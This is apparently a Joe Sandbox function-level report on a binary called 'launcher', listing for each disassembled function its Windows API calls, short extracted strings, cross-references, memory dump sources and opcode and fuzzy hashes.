API ID: Create$AsyncCaretDispatcherDuplicateExceptionMessageObjectProtectRemoteSendShowSingleThreadTokenUserVirtualWaitWindow_strlen
String ID: 006:107@4:@00007:277@0:@004:@04:@008:@08:@08:@8:@7:2@3:@9:193@4:@$MZx
API String ID: 3043327790-4110972614
Opcode ID: 8552fbabda5a9161c4d7929e0fb86bd13711b4c3bcb71e88773c4a5598383ccb
Instruction ID: 3addcdefe81cc7131acab5061516c934adc5f0e7e946d8289508d6d214d5744e
Opcode Fuzzy Hash: 8552fbabda5a9161c4d7929e0fb86bd13711b4c3bcb71e88773c4a5598383ccb
Instruction Fuzzy Hash: AD210A71A50214BFEB22ABA4DC4AFAF77BCEF08710F104238F515EA1D1CA649D40C7A5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 003AE2B6 Relevance: 9.0, Strings: 7, Instructions: 231COMMON

Download Yara Rule

Strings

o, xrefs: 003AE487
_, xrefs: 003AE46F
}, xrefs: 003AE49F
x, xrefs: 003AE497
v, xrefs: 003AE47F
r, xrefs: 003AE477
s, xrefs: 003AE48F

Memory Dump Source

Source File: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID:
String ID: _$o$r$s$v$x$}
API String ID: 0-2173401013
Opcode ID: 30ae8d6c23643bc4366ee351a87e3a5ec35f530a2ca6cdd49d4748f75cf51ee0
Instruction ID: d379c65603aa808e407d7ab5236ff6e561daf33baf48e043551409c1047a7876
Opcode Fuzzy Hash: 30ae8d6c23643bc4366ee351a87e3a5ec35f530a2ca6cdd49d4748f75cf51ee0
Instruction Fuzzy Hash: B491D576A0C7918FC725CB28C8947DBBBD2EB96314F190A2CD8D98B3D1D7759844CB42

Uniqueness

Uniqueness Score: -1.00%

Function 00377C76 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00377F94,00000002,00000000,?,?,?,00377F94,?,00000000), ref: 00377D0F
GetLocaleInfoW.KERNEL32(?,20001004,00377F94,00000002,00000000,?,?,?,00377F94,?,00000000), ref: 00377D38
GetACP.KERNEL32(?,?,00377F94,?,00000000), ref: 00377D4D

Strings

OCP, xrefs: 00377CCA
ACP, xrefs: 00377C94

Memory Dump Source

Source File: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 9422083a67a25a53b50fc1675461e8157849f656f4908be24a497056e688153f
Instruction ID: b59095efd6aaa36a568620625d6bb0446cd4c18aa6e8be158c270421216bd3d5
Opcode Fuzzy Hash: 9422083a67a25a53b50fc1675461e8157849f656f4908be24a497056e688153f
Instruction Fuzzy Hash: 1521B662608102E7DB379F24D900AA7B3ABEF58B64B57C424EA0ED7214E736DE41C350

Uniqueness

Uniqueness Score: -1.00%

Function 00377E4B Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0036F130: GetLastError.KERNEL32(?,00000008,0037369F,00000000,00369230), ref: 0036F134
Part of subcall function 0036F130: SetLastError.KERNEL32(00000000,00000006,000000FF), ref: 0036F1D6

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 00377F57
IsValidCodePage.KERNEL32(00000000), ref: 00377FA0
IsValidLocale.KERNEL32(?,00000001), ref: 00377FAF
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00377FF7
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00378016

Memory Dump Source

Source File: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 479f4c74180fd1527748c58f5be5e539fe75373f5608477c68fef33d46511b7d
Instruction ID: 3a008c6dd597c098a67987c353093b746babaa9c114ecf916e1ccf37bd0446fe
Opcode Fuzzy Hash: 479f4c74180fd1527748c58f5be5e539fe75373f5608477c68fef33d46511b7d
Instruction Fuzzy Hash: BE516E71A14206AFDB32DFA5DD41BBA77B8BF08700F158469F908EB190E778DA40CB60

Uniqueness

Uniqueness Score: -1.00%

Function 003A5B24 Relevance: 6.4, Strings: 5, Instructions: 174COMMON

Download Yara Rule

Strings

IFD@Mvw[, xrefs: 003A5D3E
/k27, xrefs: 003A5CC6
\^]P, xrefs: 003A5CB1
Mvw[, xrefs: 003A5C9C
^XV^, xrefs: 003A5CBF

Memory Dump Source

Source File: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID:
String ID: /k27$IFD@Mvw[$Mvw[$\^]P$^XV^
API String ID: 0-3956640938
Opcode ID: 5966d2577a13f4b299e7590b462f176d0d496252930ba5573a6ac1b88aec4117
Instruction ID: d216968015579fe9273f4e7bded0342bf33bc1264dca2d42f1dbfa1958cbbdb2
Opcode Fuzzy Hash: 5966d2577a13f4b299e7590b462f176d0d496252930ba5573a6ac1b88aec4117
Instruction Fuzzy Hash: 11519C70214B008FD325CF28C4E0BA2BBE1EF5A315F5589ADD0968FB92D375E806CB94

Uniqueness

Uniqueness Score: -1.00%

Function 003749E4 Relevance: 6.2, APIs: 4, Instructions: 206fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000), ref: 00374AD4
FindNextFileW.KERNEL32(00000000,?), ref: 00374BC8
FindClose.KERNEL32(00000000), ref: 00374C07
FindClose.KERNEL32(00000000), ref: 00374C3A

Memory Dump Source

Source File: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: 1547b40b6322dd44fd1d91cc214001a40a68045d06a8443ba4812ba796ae411e
Instruction ID: 744478617d97b2a5f2523b1289b42e1aa08c1f8700f8380d75fcdf49b4da40d3
Opcode Fuzzy Hash: 1547b40b6322dd44fd1d91cc214001a40a68045d06a8443ba4812ba796ae411e
Instruction Fuzzy Hash: 2C71E57194511D6FDF32AF34DC89AAEB7B8AF09300F5481D9E04C97211EB39AE849F54

Uniqueness

Uniqueness Score: -1.00%

Function 00365156 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 00365162
IsDebuggerPresent.KERNEL32 ref: 0036522E
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00365247
UnhandledExceptionFilter.KERNEL32(?), ref: 00365251

Memory Dump Source

Source File: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 3e531a0fda7825a35f095ee620d47b1dd97c08e18976cb9ebebac0beb696fb02
Instruction ID: 57707f37a31d3d4a8337a1febbad89918d92f41a3ca590bb891316c723fa4f58
Opcode Fuzzy Hash: 3e531a0fda7825a35f095ee620d47b1dd97c08e18976cb9ebebac0beb696fb02
Instruction Fuzzy Hash: 3C31F775D05318DBDF22DFA4D949BCDBBB8AF08300F1041AAE40CAB250EB709A84CF85

Uniqueness

Uniqueness Score: -1.00%

Function 00389FE0 Relevance: 5.5, Strings: 4, Instructions: 475COMMON

Download Yara Rule

Strings

IHDR, xrefs: 0038A415
), xrefs: 0038A07A
IEND, xrefs: 0038A4FF
IDAT, xrefs: 0038A484

Memory Dump Source

Source File: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID:
String ID: )$IDAT$IEND$IHDR
API String ID: 0-3181356877
Opcode ID: 1cb074873d15f5fde99156ba962a473513cd95a49f0ed2920f4f35163af2d4c5
Instruction ID: 283490aa740fc544b19f90ce163d55102dc76d038d739bf87f01c78a0850c9a5
Opcode Fuzzy Hash: 1cb074873d15f5fde99156ba962a473513cd95a49f0ed2920f4f35163af2d4c5
Instruction Fuzzy Hash: 3B0246B1A043448FD715DF28C89476B7BE1EF85300F0585AEFA858B392D379D909CB92

Uniqueness

Uniqueness Score: -1.00%

Function 003778FA Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 0036F130: GetLastError.KERNEL32(?,00000008,0037369F,00000000,00369230), ref: 0036F134
Part of subcall function 0036F130: SetLastError.KERNEL32(00000000,00000006,000000FF), ref: 0036F1D6

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0037794E
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00377998
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00377A5E

Memory Dump Source

Source File: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: a497e8fc5f18306c24d6640565d6ab1f63664d85200f5ea899669726eec067d7
Instruction ID: 00fd86c26320670367460afc16aa51c08be37bcace96ee1f2ca6707255d2b446
Opcode Fuzzy Hash: a497e8fc5f18306c24d6640565d6ab1f63664d85200f5ea899669726eec067d7
Instruction Fuzzy Hash: E561B3715542079FEB7A9F24CC82BBA77A8EF08300F11C079E909C6285E738DA91CB90

Uniqueness

Uniqueness Score: -1.00%

Function 003690B3 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 003691AB
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 003691B5
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 003691C2

Memory Dump Source

Source File: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 96e77ff6a11ef52b34090d04cf1e0731eaca4c5e122aa83fe460de36603c0f00
Instruction ID: d474aecb425ea7335ec558f5089dc4ccd225d19e5e21f6244aff801bb1bddbf3
Opcode Fuzzy Hash: 96e77ff6a11ef52b34090d04cf1e0731eaca4c5e122aa83fe460de36603c0f00
Instruction Fuzzy Hash: 9631B6749112199BCB22DF64DC897CDBBB8BF18350F5081EAE81CAB250E7709F858F54

Uniqueness

Uniqueness Score: -1.00%

Function 003AA234 Relevance: 4.4, Strings: 3, Instructions: 653COMMON

Download Yara Rule

Strings

w`t=, xrefs: 003AA5E5
JlR, xrefs: 003AA92A
*F2y, xrefs: 003AA4DA

Memory Dump Source

Source File: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID:
String ID: *F2y$JlR$w`t=
API String ID: 0-3038908346
Opcode ID: a1aec6634b9f267f82ddcd64ab55e60cd18311622c404add92b1eaaf5212e002
Instruction ID: 4df79d8cca6d456745b44e80358110c2786cb6b1520d1322f0b06930f39f265c
Opcode Fuzzy Hash: a1aec6634b9f267f82ddcd64ab55e60cd18311622c404add92b1eaaf5212e002
Instruction Fuzzy Hash: FE327D71504F428AE726CB35C494BF3BBE1EB17309F48496DD0EB8B682D7796406CB51

Uniqueness

Uniqueness Score: -1.00%

Function 003AA237 Relevance: 4.4, Strings: 3, Instructions: 641COMMON

Download Yara Rule

Strings

w`t=, xrefs: 003AA5E5
JlR, xrefs: 003AA92A
*F2y, xrefs: 003AA4DA

Memory Dump Source

Source File: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID:
String ID: *F2y$JlR$w`t=
API String ID: 0-3038908346
Opcode ID: 686b7e921ee364e7e0538f8c47d4169b351dd46792f3d7a8d3fbe9b221b5d283
Instruction ID: 257b937745dc537c0f7e4b65ad1bec96f5f94ef066e5fc4ff8ef0ca591fac0ff
Opcode Fuzzy Hash: 686b7e921ee364e7e0538f8c47d4169b351dd46792f3d7a8d3fbe9b221b5d283
Instruction Fuzzy Hash: 2F326B71504F428AE726CB35C494BF3BBE1EB17309F48496DD0EB8B682D7396506CB51

Uniqueness

Uniqueness Score: -1.00%

Function 003A9AFE Relevance: 4.3, Strings: 3, Instructions: 587COMMON

Download Yara Rule

Strings

w`t=, xrefs: 003AA5E5
JlR, xrefs: 003AA92A
*F2y, xrefs: 003AA4DA

Memory Dump Source

Source File: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID:
String ID: *F2y$JlR$w`t=
API String ID: 0-3038908346
Opcode ID: 24da3adf5059d81cf7d2ad900060aa0a5c8d7221f51578d4b7ea953d5e711c90
Instruction ID: 63d3fc671a4ef5b8d75c695939835fd2a2439a3c5e844992a1b2759bb10ec39a
Opcode Fuzzy Hash: 24da3adf5059d81cf7d2ad900060aa0a5c8d7221f51578d4b7ea953d5e711c90
Instruction Fuzzy Hash: 6C225A71544F428AE726CB38C494BE3BBE1EB17308F48496DD0EB8B692D739A506CB51

Uniqueness

Uniqueness Score: -1.00%

Function 003A5D90 Relevance: 4.0, Strings: 3, Instructions: 257COMMON

Download Yara Rule

Strings

*YX[, xrefs: 003A5FC6
|AvC, xrefs: 003A6008
=]+_, xrefs: 003A5FBE

Memory Dump Source

Source File: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID:
String ID: *YX[$=]+_$|AvC
API String ID: 0-3033963198
Opcode ID: a55f32608f6cbaa201fcaa0a49a2377d9540227dcff81c3283a7ac624dce4082
Instruction ID: acb2f96a4e28a9f2c311b0d406cc72659667f10cd1425f1f20134a16ff41312d
Opcode Fuzzy Hash: a55f32608f6cbaa201fcaa0a49a2377d9540227dcff81c3283a7ac624dce4082
Instruction Fuzzy Hash: 759155B01083418FD725CF14C891B6BBBF1FF82758F558A1CE8A58B291E775D90ACB82

Uniqueness

Uniqueness Score: -1.00%

Function 003AB99F Relevance: 3.4, Strings: 2, Instructions: 867COMMON

Download Yara Rule

Strings

RZ B, xrefs: 003ABF24
V[WD, xrefs: 003ABD9A

Memory Dump Source

Source File: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID:
String ID: RZ B$V[WD
API String ID: 0-3454228058
Opcode ID: 5f43fbd66eccfc7c0943c7341bcde265dd141fbd46709d9d2927d62bd2da2644
Instruction ID: 956f6ffa4f323d4a5296c14ab15ea2cfdc78ffe50393ba4e4b98220a16227c2c
Opcode Fuzzy Hash: 5f43fbd66eccfc7c0943c7341bcde265dd141fbd46709d9d2927d62bd2da2644
Instruction Fuzzy Hash: 8052BE70614B428BD33ACF29C494767BBE2FF56308F185A6DD1E78BA92C739A405CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0038AC84 Relevance: 3.3, Strings: 2, Instructions: 822COMMON

Download Yara Rule

Strings

0, xrefs: 0038B5DD
8, xrefs: 0038B5D5

Memory Dump Source

Source File: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: 167c36117cfc82683302c855a1b932ff0ba4c317c12b655441a261fad1bce9d0
Instruction ID: 7eac8ed17cf4d1a5cbfed67b869dae932fa65410f2cd549d4e0b374547424059
Opcode Fuzzy Hash: 167c36117cfc82683302c855a1b932ff0ba4c317c12b655441a261fad1bce9d0
Instruction Fuzzy Hash: 187289716083419FD721DF28C890B9BBBE2BF88314F19895DF9898B391D375D948CB92

Uniqueness

Uniqueness Score: -1.00%

Function 003ABAC7 Relevance: 3.0, Strings: 2, Instructions: 450COMMON

Download Yara Rule

Strings

RZ B, xrefs: 003ABF24
V[WD, xrefs: 003ABD9A

Memory Dump Source

Source File: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID:
String ID: RZ B$V[WD
API String ID: 0-3454228058
Opcode ID: dfd11e011b7560ddbae3baf42cfe81c3e7205c8fe8281fe03ec1ca0ad33abcef
Instruction ID: d6626013f6e29a40b98d42358d59300dd758cd3942e2c50d14f3bea777aef0c5
Opcode Fuzzy Hash: dfd11e011b7560ddbae3baf42cfe81c3e7205c8fe8281fe03ec1ca0ad33abcef
Instruction Fuzzy Hash: 12E18D70514B428BD33ACF39C4947A3BBE2FB56308F144A6DD1E78BA92C739A505CB90

Uniqueness

Uniqueness Score: -1.00%

Function 003ABAB5 Relevance: 2.9, Strings: 2, Instructions: 400COMMON

Download Yara Rule

Strings

RZ B, xrefs: 003ABF24
V[WD, xrefs: 003ABD9A

Memory Dump Source

Source File: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID:
String ID: RZ B$V[WD
API String ID: 0-3454228058
Opcode ID: f35a3a5e2bc03d393db9728bab8adfe0c6eaf79df5bf3142ad8f0cb18b422031
Instruction ID: c4d41f7da1f008a6436bb14c75dec82dd78e8c9efc8b4453bb6012d4db830b67
Opcode Fuzzy Hash: f35a3a5e2bc03d393db9728bab8adfe0c6eaf79df5bf3142ad8f0cb18b422031
Instruction Fuzzy Hash: 26D1AE70514B528BD32ACF35C4A47A3BBE2FB56308F194A6DD1E74B692C73AA406CB50

Uniqueness

Uniqueness Score: -1.00%

